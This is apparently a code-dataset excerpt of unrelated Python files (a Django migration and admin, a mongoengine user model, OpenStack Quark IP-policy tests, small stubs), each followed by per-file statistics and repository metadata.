test.run(save_loc, graph_save_loc="_graphs/validation/BA_200spin_m4_100graphs.pkl", batched=True, max_batch_size=25)
test.run(save_loc, graph_save_loc="_graphs/validation/BA_500spin_m4_100graphs.pkl", batched=True, max_batch_size=5)
| 53.764706
| 118
| 0.832604
| 157
| 914
| 4.458599
| 0.235669
| 0.14
| 0.1
| 0.12
| 0.717143
| 0.717143
| 0.717143
| 0.717143
| 0.611429
| 0.611429
| 0
| 0.057737
| 0.052516
| 914
| 16
| 119
| 57.125
| 0.750577
| 0.050328
| 0
| 0
| 0
| 0
| 0.332558
| 0.317442
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.2
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
6cd3ca3509174bf76a7cfec30d3f3f923cfd8a36
| 3,362
|
py
|
Python
|
guilanche/pedido/migrations/0004_rename_l10_preco_pocao_pedido_l10_preco_porcao_and_more.py
|
evton/Emissor-pedidos-lanchonete
|
87869c3eb6860ba4486d069ffc4759648f044783
|
[
"MIT"
] | null | null | null |
guilanche/pedido/migrations/0004_rename_l10_preco_pocao_pedido_l10_preco_porcao_and_more.py
|
evton/Emissor-pedidos-lanchonete
|
87869c3eb6860ba4486d069ffc4759648f044783
|
[
"MIT"
] | null | null | null |
guilanche/pedido/migrations/0004_rename_l10_preco_pocao_pedido_l10_preco_porcao_and_more.py
|
evton/Emissor-pedidos-lanchonete
|
87869c3eb6860ba4486d069ffc4759648f044783
|
[
"MIT"
] | null | null | null |
# Generated by Django 4.0 on 2022-01-04 21:59
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('pedido', '0003_pedido_l10_preco_acai_pedido_l10_preco_bebida_and_more'),
]
operations = [
migrations.RenameField(
model_name='pedido',
old_name='l10_preco_pocao',
new_name='l10_preco_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l10_quant_pocao',
new_name='l10_quant_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l1_preco_pocao',
new_name='l1_preco_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l1_quant_pocao',
new_name='l1_quant_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l2_preco_pocao',
new_name='l2_preco_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l2_quant_pocao',
new_name='l2_quant_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l3_preco_pocao',
new_name='l3_preco_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l3_quant_pocao',
new_name='l3_quant_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l4_preco_pocao',
new_name='l4_preco_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l4_quant_pocao',
new_name='l4_quant_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l5_preco_pocao',
new_name='l5_preco_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l5_quant_pocao',
new_name='l5_quant_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l6_preco_pocao',
new_name='l6_preco_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l6_quant_pocao',
new_name='l6_quant_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l7_preco_pocao',
new_name='l7_preco_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l7_quant_pocao',
new_name='l7_quant_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l8_preco_pocao',
new_name='l8_preco_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l8_quant_pocao',
new_name='l8_quant_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l9_preco_pocao',
new_name='l9_preco_porcao',
),
migrations.RenameField(
model_name='pedido',
old_name='l9_quant_pocao',
new_name='l9_quant_porcao',
),
]
| 29.491228
| 82
| 0.542832
| 334
| 3,362
| 5.01497
| 0.131737
| 0.250746
| 0.310448
| 0.358209
| 0.663284
| 0.663284
| 0.663284
| 0.663284
| 0.63403
| 0
| 0
| 0.030429
| 0.354848
| 3,362
| 113
| 83
| 29.752212
| 0.741817
| 0.01279
| 0
| 0.560748
| 1
| 0
| 0.231836
| 0.017787
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.009346
| 0
| 0.037383
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
9f2b070bdf21d305ac4ca3c2694f08d464941acb
| 250
|
py
|
Python
|
dbstorage/admin.py
|
JoshData/django-database-storage-backend
|
34fc8cb692edcb6c12f7072cd8f9b9bc339e4f18
|
[
"CC0-1.0"
] | 1
|
2017-07-22T09:00:04.000Z
|
2017-07-22T09:00:04.000Z
|
dbstorage/admin.py
|
if-then-fund/django-database-storage
|
34fc8cb692edcb6c12f7072cd8f9b9bc339e4f18
|
[
"CC0-1.0"
] | null | null | null |
dbstorage/admin.py
|
if-then-fund/django-database-storage
|
34fc8cb692edcb6c12f7072cd8f9b9bc339e4f18
|
[
"CC0-1.0"
] | null | null | null |
from django.contrib import admin
from .models import StoredFile
class StoredFileAdmin(admin.ModelAdmin):
list_display = ['path', 'mime_type', 'size', 'created', 'updated']
search_fields = ['path']
admin.site.register(StoredFile, StoredFileAdmin)
| 27.777778
| 67
| 0.764
| 29
| 250
| 6.482759
| 0.758621
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.104
| 250
| 8
| 68
| 31.25
| 0.839286
| 0
| 0
| 0
| 0
| 0
| 0.14
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.833333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
9f5a615761da87145c8fffaa308457ae0d8e42b8
| 2,489
|
py
|
Python
|
dao/utilisateur.py
|
nschrader/project_whiskey
|
a251cc73127e8d92e4295e67d5d2987341bc1dab
|
[
"MIT"
] | 2
|
2018-04-30T13:31:48.000Z
|
2018-10-01T14:03:28.000Z
|
dao/utilisateur.py
|
nschrader/project_whiskey
|
a251cc73127e8d92e4295e67d5d2987341bc1dab
|
[
"MIT"
] | null | null | null |
dao/utilisateur.py
|
nschrader/project_whiskey
|
a251cc73127e8d92e4295e67d5d2987341bc1dab
|
[
"MIT"
] | null | null | null |
from werkzeug.security import generate_password_hash, check_password_hash
from overrides import overrides
from flask_login import UserMixin
from uuid import uuid4 as uuid
from datetime import datetime
from mongoengine import *
import config
import dao.voeu
class Utilisateur(UserMixin, Document):
nom = StringField(required = True)
prenom = StringField(required = True)
mail = EmailField(required = True, domain_whitelist = ["insa-lyon.fr"], unique = True)
password = StringField(required = True)
token = StringField()
token_timestamp = DateTimeField()
active = BooleanField(default = False)
admin = BooleanField(default = False)
departement = ReferenceField("Departement")
niveau = IntField()
mobilites = ListField(ReferenceField("Universite"))
voeux_annee = IntField()
voeu_1 = EmbeddedDocumentField("Voeu")
voeu_2 = EmbeddedDocumentField("Voeu")
def get_nom(self):
return "{} {}".format(self.prenom, self.nom)
def make_token(self):
self.token = uuid().hex
self.token_timestamp = datetime.now()
@overrides
def get_id(self):
return str(self.pk)
@property
@overrides
def is_active(self):
return self.active
def validate_login(self, password):
return check_password_hash(self.password, password)
@classmethod
#TODO: Use endm instead of -1, 0, 1
def verifify_token(cls, token):
user = cls.objects(token = token).first()
if user:
timediff = datetime.now() - user.token_timestamp
if timediff.total_seconds() < config.TOKEN_TIMEOUT:
if timediff.total_seconds() < config.TOKEN_VALIDITY_TIMEOUT:
user.active = True
user.save()
return 1
else:
return 0
return -1
@classmethod
def get_root(cls):
root_user = cls.objects(mail = config.ROOT).first()
if not root_user:
password = generate_password_hash(config.ROOT_PSWD)
root_user = Utilisateur(
mail = config.ROOT,
password = password,
nom = "Root",
prenom = "Admin",
admin = True,
active = True
)
root_user.save()
return root_user
@staticmethod
def get_annee_choices():
return [("2", "2A"), ("3", "3A"), ("4", "4A"), ("5", "5A")]
| 27.655556
| 90
| 0.604259
| 265
| 2,489
| 5.539623
| 0.384906
| 0.027248
| 0.047003
| 0.029973
| 0.044959
| 0.044959
| 0
| 0
| 0
| 0
| 0
| 0.009714
| 0.296906
| 2,489
| 89
| 91
| 27.966292
| 0.829143
| 0.01366
| 0
| 0.058824
| 1
| 0
| 0.027302
| 0
| 0
| 0
| 0
| 0.011236
| 0
| 1
| 0.117647
| false
| 0.088235
| 0.117647
| 0.073529
| 0.588235
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
9f6a3498a3d33cc50ef6dc65b5f53bf34533b737
| 12,702
|
py
|
Python
|
quark/tests/plugin_modules/test_ip_policies.py
|
jkoelker/quark
|
522d800cfb8fef2627baf3bceb7389604bd2d4ce
|
[
"Apache-2.0"
] | null | null | null |
quark/tests/plugin_modules/test_ip_policies.py
|
jkoelker/quark
|
522d800cfb8fef2627baf3bceb7389604bd2d4ce
|
[
"Apache-2.0"
] | 11
|
2015-09-10T21:20:04.000Z
|
2015-09-10T21:20:05.000Z
|
quark/tests/plugin_modules/test_ip_policies.py
|
jkoelker/quark
|
522d800cfb8fef2627baf3bceb7389604bd2d4ce
|
[
"Apache-2.0"
] | null | null | null |
# Copyright 2013 Openstack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import contextlib
import mock
import netaddr
from neutron.common import exceptions
from quark import exceptions as quark_exceptions
from quark.tests import test_quark_plugin
class TestQuarkGetIpPolicies(test_quark_plugin.TestQuarkPlugin):
@contextlib.contextmanager
def _stubs(self, ip_policy):
db_mod = "quark.db.api"
with mock.patch("%s.ip_policy_find" % db_mod) as ip_policy_find:
ip_policy_find.return_value = ip_policy
yield
def test_get_ip_policy_not_found(self):
with self._stubs(None):
with self.assertRaises(quark_exceptions.IPPolicyNotFound):
self.plugin.get_ip_policy(self.context, 1)
def test_get_ip_policy(self):
ip_policy = dict(
id=1,
tenant_id=1,
name="foo",
subnets=[dict(id=1)],
networks=[dict(id=2)],
exclude=[dict(offset=1, length=256)])
with self._stubs(ip_policy):
resp = self.plugin.get_ip_policy(self.context, 1)
self.assertEqual(len(resp.keys()), 6)
self.assertEqual(resp["id"], 1)
self.assertEqual(resp["name"], "foo")
self.assertEqual(resp["subnet_ids"], [1])
self.assertEqual(resp["network_ids"], [2])
self.assertEqual(resp["exclude"], ip_policy["exclude"])
self.assertEqual(resp["tenant_id"], 1)
def test_get_ip_policies(self):
ip_policy = dict(
id=1,
tenant_id=1,
name="foo",
subnets=[dict(id=1)],
networks=[dict(id=2)],
exclude=[dict(offset=1, length=256)])
with self._stubs([ip_policy]):
resp = self.plugin.get_ip_policies(self.context)
self.assertEqual(len(resp), 1)
resp = resp[0]
self.assertEqual(len(resp.keys()), 6)
self.assertEqual(resp["id"], 1)
self.assertEqual(resp["subnet_ids"], [1])
self.assertEqual(resp["network_ids"], [2])
self.assertEqual(resp["exclude"], ip_policy["exclude"])
self.assertEqual(resp["name"], "foo")
self.assertEqual(resp["tenant_id"], 1)
class TestQuarkCreateIpPolicies(test_quark_plugin.TestQuarkPlugin):
@contextlib.contextmanager
def _stubs(self, ip_policy, subnet=None, net=None):
db_mod = "quark.db.api"
with contextlib.nested(
mock.patch("%s.subnet_find" % db_mod),
mock.patch("%s.network_find" % db_mod),
mock.patch("%s.ip_policy_create" % db_mod),
) as (subnet_find, net_find, ip_policy_create):
subnet_find.return_value = [subnet] if subnet else None
net_find.return_value = [net] if net else None
ip_policy_create.return_value = ip_policy
yield ip_policy_create
def test_create_ip_policy_invalid_body_missing_exclude(self):
with self._stubs(None):
with self.assertRaises(exceptions.BadRequest):
self.plugin.create_ip_policy(self.context, dict(
ip_policy=dict()))
def test_create_ip_policy_invalid_body_missing_netsubnet(self):
with self._stubs(None):
with self.assertRaises(exceptions.BadRequest):
self.plugin.create_ip_policy(self.context, dict(
ip_policy=dict(exclude=["1.1.1.1/24"])))
def test_create_ip_policy_invalid_subnet(self):
with self._stubs(None):
with self.assertRaises(exceptions.SubnetNotFound):
self.plugin.create_ip_policy(self.context, dict(
ip_policy=dict(subnet_ids=[1],
exclude=["1.1.1.1/24"])))
def test_create_ip_policy_invalid_network(self):
with self._stubs(None):
with self.assertRaises(exceptions.NetworkNotFound):
self.plugin.create_ip_policy(self.context, dict(
ip_policy=dict(network_ids=[1],
exclude=["1.1.1.1/24"])))
def test_create_ip_policy_network_ip_policy_already_exists(self):
with self._stubs(None, net=dict(id=1, ip_policy=dict(id=2))):
with self.assertRaises(quark_exceptions.IPPolicyAlreadyExists):
self.plugin.create_ip_policy(self.context, dict(
ip_policy=dict(network_ids=[1],
exclude=["1.1.1.1/24"])))
def test_create_ip_policy_subnet_ip_policy_already_exists(self):
with self._stubs(None, subnet=dict(id=1, ip_policy=dict(id=2))):
with self.assertRaises(quark_exceptions.IPPolicyAlreadyExists):
self.plugin.create_ip_policy(self.context, dict(
ip_policy=dict(subnet_ids=[1],
exclude=["1.1.1.1/24"])))
def test_create_ip_policy_network(self):
ipp = dict(subnet_id=None, network_id=1,
exclude=[dict(address=int(netaddr.IPAddress("1.1.1.1")),
prefix=24)])
with self._stubs(ipp, net=dict(id=1, ip_policy=dict(id=2))):
with self.assertRaises(quark_exceptions.IPPolicyAlreadyExists):
resp = self.plugin.create_ip_policy(self.context, dict(
ip_policy=dict(network_ids=[1],
exclude=["1.1.1.1/24"])))
self.assertEqual(len(resp.keys()), 3)
self.assertIsNone(resp["subnet_ids"])
self.assertEqual(resp["network_ids"], 1)
self.assertEqual(resp["exclude"], [dict()])
def test_create_ip_policy_subnet(self):
ipp = dict(subnet_id=1, network_id=None,
exclude=[dict(address=int(netaddr.IPAddress("1.1.1.1")),
prefix=24)])
with self._stubs(ipp, subnet=dict(id=1, ip_policy=dict(id=2))):
with self.assertRaises(quark_exceptions.IPPolicyAlreadyExists):
resp = self.plugin.create_ip_policy(self.context, dict(
ip_policy=dict(subnet_ids=[1],
exclude=["1.1.1.1/24"])))
self.assertEqual(len(resp.keys()), 3)
self.assertEqual(resp["subnet_id"], 1)
self.assertIsNone(resp["network_id"])
self.assertEqual(resp["exclude"], ["1.1.1.1/24"])
def test_create_ip_policy(self):
ipp = dict(
subnets=[dict(id=1)],
networks=[],
id=1,
tenant_id=1,
exclude=[dict(offset=0, length=256)],
name="foo")
with self._stubs(ipp, subnet=dict(id=1, ip_policy=None)):
resp = self.plugin.create_ip_policy(self.context, dict(
ip_policy=dict(subnet_ids=[1],
exclude=[dict(offset=0, length=256)])))
self.assertEqual(len(resp.keys()), 6)
self.assertEqual(resp["subnet_ids"], [1])
self.assertEqual(resp["network_ids"], [])
self.assertEqual(resp["exclude"],
[dict(offset=0, length=256)])
self.assertEqual(resp["name"], "foo")
self.assertEqual(resp["tenant_id"], 1)
class TestQuarkUpdateIpPolicies(test_quark_plugin.TestQuarkPlugin):
@contextlib.contextmanager
def _stubs(self, ip_policy, subnets=None, networks=None):
if not subnets:
subnets = []
if not networks:
networks = []
db_mod = "quark.db.api"
with contextlib.nested(
mock.patch("%s.ip_policy_find" % db_mod),
mock.patch("%s.subnet_find" % db_mod),
mock.patch("%s.network_find" % db_mod),
mock.patch("%s.ip_policy_update" % db_mod),
) as (ip_policy_find, subnet_find, network_find, ip_policy_update):
ip_policy_find.return_value = ip_policy
subnet_find.return_value = subnets
network_find.return_value = networks
yield ip_policy_update
def test_update_ip_policy_not_found(self):
with self._stubs(None) as (ip_policy_update):
with self.assertRaises(quark_exceptions.IPPolicyNotFound):
self.plugin.update_ip_policy(self.context, 1,
dict(ip_policy=None))
self.assertEqual(ip_policy_update.called, 0)
def test_update_ip_policy_subnets_not_found(self):
ipp = dict(id=1, subnets=[])
with self._stubs(ipp) as (ip_policy_update):
with self.assertRaises(exceptions.SubnetNotFound):
self.plugin.update_ip_policy(
self.context,
1,
dict(ip_policy=dict(subnet_ids=[100])))
self.assertEqual(ip_policy_update.called, 0)
def test_update_ip_policy_subnets_already_exists(self):
ipp = dict(id=1, subnets=[dict()])
with self._stubs(
ipp, subnets=[dict(id=1, ip_policy=dict(id=1))]
) as (ip_policy_update):
with self.assertRaises(quark_exceptions.IPPolicyAlreadyExists):
self.plugin.update_ip_policy(
self.context,
1,
dict(ip_policy=dict(subnet_ids=[100])))
self.assertEqual(ip_policy_update.called, 0)
def test_update_ip_policy_subnets(self):
ipp = dict(id=1, subnets=[dict()],
exclude=[dict(offset=0, length=256)],
name="foo", tenant_id=1)
with self._stubs(
ipp, subnets=[dict(id=1, ip_policy=None)]
) as (ip_policy_update):
self.plugin.update_ip_policy(
self.context,
1,
dict(ip_policy=dict(subnet_ids=[100])))
self.assertEqual(ip_policy_update.called, 1)
def test_update_ip_policy_networks_not_found(self):
ipp = dict(id=1, networks=[])
with self._stubs(ipp) as (ip_policy_update):
with self.assertRaises(exceptions.NetworkNotFound):
self.plugin.update_ip_policy(
self.context,
1,
dict(ip_policy=dict(network_ids=[100])))
self.assertEqual(ip_policy_update.called, 0)
def test_update_ip_policy_networks(self):
ipp = dict(id=1, networks=[dict()],
exclude=[dict(offset=0, length=256)],
name="foo", tenant_id=1)
with self._stubs(
ipp, networks=[dict(id=1, ip_policy=None)]
) as (ip_policy_update):
self.plugin.update_ip_policy(
self.context,
1,
dict(ip_policy=dict(network_ids=[100])))
self.assertEqual(ip_policy_update.called, 1)
class TestQuarkDeleteIpPolicies(test_quark_plugin.TestQuarkPlugin):
@contextlib.contextmanager
def _stubs(self, ip_policy):
db_mod = "quark.db.api"
with contextlib.nested(
mock.patch("%s.ip_policy_find" % db_mod),
mock.patch("%s.ip_policy_delete" % db_mod),
) as (ip_policy_find, ip_policy_delete):
ip_policy_find.return_value = ip_policy
yield ip_policy_find, ip_policy_delete
def test_delete_ip_policy_not_found(self):
with self._stubs(None):
with self.assertRaises(quark_exceptions.IPPolicyNotFound):
self.plugin.delete_ip_policy(self.context, 1)
def test_delete_ip_policy_in_use(self):
with self._stubs(dict(networks=True)):
with self.assertRaises(quark_exceptions.IPPolicyInUse):
self.plugin.delete_ip_policy(self.context, 1)
def test_delete_ip_policy(self):
ip_policy = dict(
id=1,
networks=[],
subnets=[])
with self._stubs(ip_policy) as (ip_policy_find, ip_policy_delete):
self.plugin.delete_ip_policy(self.context, 1)
self.assertEqual(ip_policy_find.call_count, 1)
self.assertEqual(ip_policy_delete.call_count, 1)
| 42.912162
| 75
| 0.595339
| 1,538
| 12,702
| 4.673602
| 0.102081
| 0.130217
| 0.038397
| 0.052866
| 0.80384
| 0.764051
| 0.741653
| 0.702421
| 0.639121
| 0.589872
| 0
| 0.021085
| 0.290584
| 12,702
| 295
| 76
| 43.057627
| 0.776606
| 0.045583
| 0
| 0.606426
| 0
| 0
| 0.043525
| 0
| 0
| 0
| 0
| 0
| 0.208835
| 1
| 0.100402
| false
| 0
| 0.024096
| 0
| 0.140562
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
9fa69114a19ce29692fd584e641c4dcd2cb8ce1c
| 107
|
py
|
Python
|
projects/Alleria/alleria/data/__init__.py
|
sm047/detectron2
|
1036cce320ce0f2adbce7f143566462d3222bd5a
|
[
"Apache-2.0"
] | 5
|
2020-06-16T11:31:22.000Z
|
2021-11-08T03:07:47.000Z
|
projects/Alleria/alleria/data/__init__.py
|
fangchengji/detectron2
|
1036cce320ce0f2adbce7f143566462d3222bd5a
|
[
"Apache-2.0"
] | null | null | null |
projects/Alleria/alleria/data/__init__.py
|
fangchengji/detectron2
|
1036cce320ce0f2adbce7f143566462d3222bd5a
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/env python3
# @Time : 31/5/20 3:32 PM
# @Author : fangcheng.ji
# @FileName: __init__.py.py
| 17.833333
| 28
| 0.626168
| 18
| 107
| 3.5
| 0.944444
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.103448
| 0.186916
| 107
| 5
| 29
| 21.4
| 0.62069
| 0.915888
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
4c843d7a1c6b3e93485bb0c4280c884637b12c86
| 163
|
py
|
Python
|
problem0313.py
|
kmarcini/Project-Euler-Python
|
d644e8e1ec4fac70a9ab407ad5e1f0a75547c8d3
|
[
"BSD-3-Clause"
] | null | null | null |
problem0313.py
|
kmarcini/Project-Euler-Python
|
d644e8e1ec4fac70a9ab407ad5e1f0a75547c8d3
|
[
"BSD-3-Clause"
] | null | null | null |
problem0313.py
|
kmarcini/Project-Euler-Python
|
d644e8e1ec4fac70a9ab407ad5e1f0a75547c8d3
|
[
"BSD-3-Clause"
] | null | null | null |
###########################
#
# #313 Sliding game - Project Euler
# https://projecteuler.net/problem=313
#
# Code by Kevin Marciniak
#
###########################
| 18.111111
| 38
| 0.466258
| 14
| 163
| 5.428571
| 0.928571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.041667
| 0.116564
| 163
| 8
| 39
| 20.375
| 0.486111
| 0.570552
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
4ca77d17570326bf4e5d3e401f45fe0e0e45c332
| 264
|
py
|
Python
|
src/covid_model_seiir_pipeline/pipeline/diagnostics/__init__.py
|
yukgu/covid-model-seiir-pipeline
|
3433034d3f089938e7993b6321d570365bdf62db
|
[
"BSD-3-Clause"
] | 23
|
2020-05-25T00:20:32.000Z
|
2022-01-18T10:32:09.000Z
|
src/covid_model_seiir_pipeline/pipeline/diagnostics/__init__.py
|
yukgu/covid-model-seiir-pipeline
|
3433034d3f089938e7993b6321d570365bdf62db
|
[
"BSD-3-Clause"
] | 15
|
2020-06-15T16:34:22.000Z
|
2021-08-15T22:11:37.000Z
|
src/covid_model_seiir_pipeline/pipeline/diagnostics/__init__.py
|
yukgu/covid-model-seiir-pipeline
|
3433034d3f089938e7993b6321d570365bdf62db
|
[
"BSD-3-Clause"
] | 11
|
2020-05-24T21:57:29.000Z
|
2021-09-07T18:21:15.000Z
|
from covid_model_seiir_pipeline.pipeline.diagnostics.specification import (
DIAGNOSTICS_JOBS,
DiagnosticsSpecification,
)
from covid_model_seiir_pipeline.pipeline.diagnostics.task import (
cumulative_deaths_compare_csv,
grid_plots,
scatters,
)
| 26.4
| 75
| 0.810606
| 28
| 264
| 7.25
| 0.642857
| 0.08867
| 0.137931
| 0.187192
| 0.453202
| 0.453202
| 0.453202
| 0
| 0
| 0
| 0
| 0
| 0.132576
| 264
| 9
| 76
| 29.333333
| 0.886463
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.222222
| 0
| 0.222222
| 0
| 1
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
4caf97a5f6604b46b27e3acb7e9033b584f6a09e
| 209
|
py
|
Python
|
app/core/apps.py
|
clicktravel-rob/tk-django-exercise
|
e71c28b85a760680328c1640fa0dc47d892626dc
|
[
"MIT"
] | null | null | null |
app/core/apps.py
|
clicktravel-rob/tk-django-exercise
|
e71c28b85a760680328c1640fa0dc47d892626dc
|
[
"MIT"
] | 1
|
2021-09-02T15:10:30.000Z
|
2021-09-03T13:24:07.000Z
|
app/core/apps.py
|
clicktravel-rob/tk-django-exercise
|
e71c28b85a760680328c1640fa0dc47d892626dc
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.apps import AppConfig
class RecipeConfig(AppConfig):
default_auto_field = 'django.db.models.BigAutoField'
name = 'recipe'
| 20.9
| 56
| 0.741627
| 25
| 209
| 5.92
| 0.84
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.00565
| 0.15311
| 209
| 9
| 57
| 23.222222
| 0.830508
| 0.100478
| 0
| 0
| 0
| 0
| 0.188172
| 0.155914
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.4
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
4cd347d48f0b3dc073bcb81ce883857016007bf2
| 221
|
py
|
Python
|
tensorflow_model.py
|
Haoyu-R/P1_Facial_Keypoints-master
|
32cc8e4d5b01b9e5ad039b19bedf10b5450a361a
|
[
"MIT"
] | null | null | null |
tensorflow_model.py
|
Haoyu-R/P1_Facial_Keypoints-master
|
32cc8e4d5b01b9e5ad039b19bedf10b5450a361a
|
[
"MIT"
] | 4
|
2021-06-08T22:40:36.000Z
|
2022-03-12T00:27:45.000Z
|
tensorflow_model.py
|
Haoyu-R/P1_Facial_Keypoints-master
|
32cc8e4d5b01b9e5ad039b19bedf10b5450a361a
|
[
"MIT"
] | null | null | null |
import tensorflow as tf
from keras.layers import Conv2D, Flatten, MaxPooling2D, Dense, BatchNormalization, Dropout
from keras.models import Sequential
import numpy as np
model = Sequential([
Conv2D(128, (5, 5), )
])
| 24.555556
| 90
| 0.760181
| 29
| 221
| 5.793103
| 0.689655
| 0.107143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.042781
| 0.153846
| 221
| 9
| 91
| 24.555556
| 0.855615
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.571429
| 0
| 0.571429
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
4cded4ad2353fcdea765920d4e01e280ac485807
| 238
|
py
|
Python
|
backend/user_management/urls.py
|
Extramus-Dev/theatre-platform
|
8b027542f3b151fe9b62ff1ddad7cea8a41829ea
|
[
"MIT"
] | null | null | null |
backend/user_management/urls.py
|
Extramus-Dev/theatre-platform
|
8b027542f3b151fe9b62ff1ddad7cea8a41829ea
|
[
"MIT"
] | 9
|
2021-11-12T12:49:28.000Z
|
2021-11-15T15:18:34.000Z
|
backend/user_management/urls.py
|
Extramus-Dev/theatre-platform
|
8b027542f3b151fe9b62ff1ddad7cea8a41829ea
|
[
"MIT"
] | null | null | null |
from django.urls import path
from . import views
urlpatterns = [
path('signup/viewer', views.SignUPViewer.as_view(), name='signup_viewer'),
path('signup/contentcreator', views.SignUPContentCreator.as_view(), name='signup_cc'),
]
| 29.75
| 90
| 0.739496
| 29
| 238
| 5.931034
| 0.551724
| 0.116279
| 0.116279
| 0.186047
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.113445
| 238
| 8
| 91
| 29.75
| 0.815166
| 0
| 0
| 0
| 0
| 0
| 0.23431
| 0.087866
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
